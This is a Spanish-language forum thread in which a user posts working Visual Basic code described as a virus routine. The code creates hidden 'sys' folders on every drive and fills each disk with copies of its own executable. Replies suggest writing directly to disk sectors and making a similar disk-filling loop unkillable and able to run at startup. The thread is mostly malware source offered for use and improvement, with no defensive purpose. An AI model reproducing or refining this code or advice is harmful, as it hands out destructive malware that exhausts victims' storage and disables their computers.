Páginas: [1]
|
 |
|
Autor
|
Tema: Posible función de un virus (Llenar discos) (Leído 393 veces)
|
Xerok1!
Desconectado
Mensajes: 230
|
Bueno he estado haciendo unas prácticas y eso e hice una pequeña función(muy simple) típica de un virus que llena el espacio del disco,solo me sirvio para analizar un poco, y bueno ya que se ha cambiado el aire a este foro, pues la publico  .. Para hacer la función se que se podría hacer de mil formas,pero intente atender a la velocidad,rendimiento,tamaño de la aplicacion etc etc.. Bueno aquí va, Utilice un control Drive para evitarme tener que listar los discos por apis  .., Y si veis algun fallo o alguna mejora postearlo haber si lo solucionamos.. Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpRootPathName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long Private Sub AllDrives(NoLlenar As String) On Error Resume Next Dim i As Integer For i = Drive1.ListIndex To Drive1.ListCount - 1 rootpathname = Left(Drive1.List(i), 2) + "\" Dim r As Long, BytesFreeToCalller As Currency, TotalBytes As Currency Dim TotalFreeBytes As Currency, TotalBytesUsed As Currency Call GetDiskFreeSpaceEx(rootpathname, BytesFreeToCalller, TotalBytes, TotalFreeBytes) If Not rootpathname = NoLlenar Then Dim total As String total = Replace(Format$(BytesFreeToCalller * 10000, "###,###,###,##0"), ".", "") MkDir rootpathname + "sys" SetAttr rootpathname + "sys", vbHidden + vbSystem Dim im As String Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 im = Input(LOF(1), 1) Close #1 Dim create As String create = im + im + im + im + im + im + im + im + im + im + im + im + im + im + im + im 'tamaño de cada copia,ajustar al rendimiento del pc Open rootpathname + "sys\sysconf.sys" For Binary As #1 Put #1, , create Close #1 Do While total >= FileLen(rootpathname + "sys\sysconf.sys") 'utilizo este archivo como referencia al tamaño para calcular si el tamaño que queda es menor o mayor que el del archivo Dim num As String num = (987 * Rnd) / (Rnd + 1) num = Int(num) FileCopy rootpathname + "sys\sysconf.sys", rootpathname + "sys\" + Replace(Date, "/", "") + Replace(Time, ":", "") + num + Replace(total, ".", "") + ".sys" 'Esto por que en ocasiones los archivos se repetian ;) total = total - FileLen(rootpathname + "sys\sysconf.sys") Loop Else End If Next i Unload Me End Sub Private Sub Form_Load() On Error Resume Next AllDrives "" 'si lo dejas vacio llena todos los discos, y si colocas "c:\" se salta este disco End Sub Bueno, sencillita  No sé si funcionará correctamente en los demas pc.. Un saludo 
|
|
|
|
|
En línea
|
[Firma]Esperando haber si acaba el concurso de firmas y la pongo[/Firma]
|
|
|
|
Hendrix
|
Bueno, siempre podrías mejorarlo escribiendo directamente en los sectores del DD, ya que si tiene un sistema de archivos que no sea NTFS ni lo va a leer ni lo va a llenar, asi que mejor listar y llenar los discos de otra manera.
Un Saludo
|
|
|
|
|
En línea
|
Muchas veces las cosas no se le dan al que las merece más, sino al que sabe pedirlas con insistencia. - Arthur Schopenhauer
|
|
|
|
seba123neo
|
mira yo siempre me acuerdo de una que hacia hago una de 4 o 5 lineas de codigo que lo unico que hace es escribir en un archivo de texto en un blucle infinito y se te traba toda la pc ,al 100 % en uso,el tipo que ejecuta ni sabe donde esta el archivo,podes hacer que no pueda matar el proceso,y que empieze cada vez que arranque windows y otra vez empieze a escribir en el disco y no le deja hacer nada hasta que se le llena todo el disco...despues capaz que lo saca,pero que le va a pegar un buen susto durante un tiempo eso es verdad...hasta en pascal lo habia hecho me acuerdo y funciona bien.
|
|
|
|
|
En línea
|
Todos somos ignorantes;lo que pasa es que no todos ignoramos las mismas cosas - Albert Einstein
|
|
|
Xerok1!
Desconectado
Mensajes: 230
|
Gracias por las respuestas  Pues tengo una dudilla, Bueno, siempre podrías mejorarlo escribiendo directamente en los sectores del DD, ya que si tiene un sistema de archivos que no sea NTFS ni lo va a leer ni lo va a llenar, asi que mejor listar y llenar los discos de otra manera.
Un Saludo A que te refieres con eso, como podría escribir en los sectores del DD? Un saludo! 
|
|
|
|
|
En línea
|
[Firma]Esperando haber si acaba el concurso de firmas y la pongo[/Firma]
|
|
|
|
Hendrix
|
En el google hay textos sobre como escribir en los sectores del disco. http://www.codeguru.com/cpp/w-p/system/misc/article.php/c5765/Si no encuentras textos especificas, pusca textos mas generales (sobre como hacerlo en C/C++ o ASM, por ejemplo) para entender la parte teorica y luego lo pasas a la práctica en VB. Un Saludo 
|
|
|
|
|
En línea
|
Muchas veces las cosas no se le dan al que las merece más, sino al que sabe pedirlas con insistencia. - Arthur Schopenhauer
|
|
|
Xerok1!
Desconectado
Mensajes: 230
|
Ok perfecto,voy a intentarlo en Asm que estoy aprendiendo y depsues si me funciona lo traduzco.. Un saludo y gracias 
|
|
|
|
|
En línea
|
[Firma]Esperando haber si acaba el concurso de firmas y la pongo[/Firma]
|
|
|
|
Páginas: [1]
|
|
|
|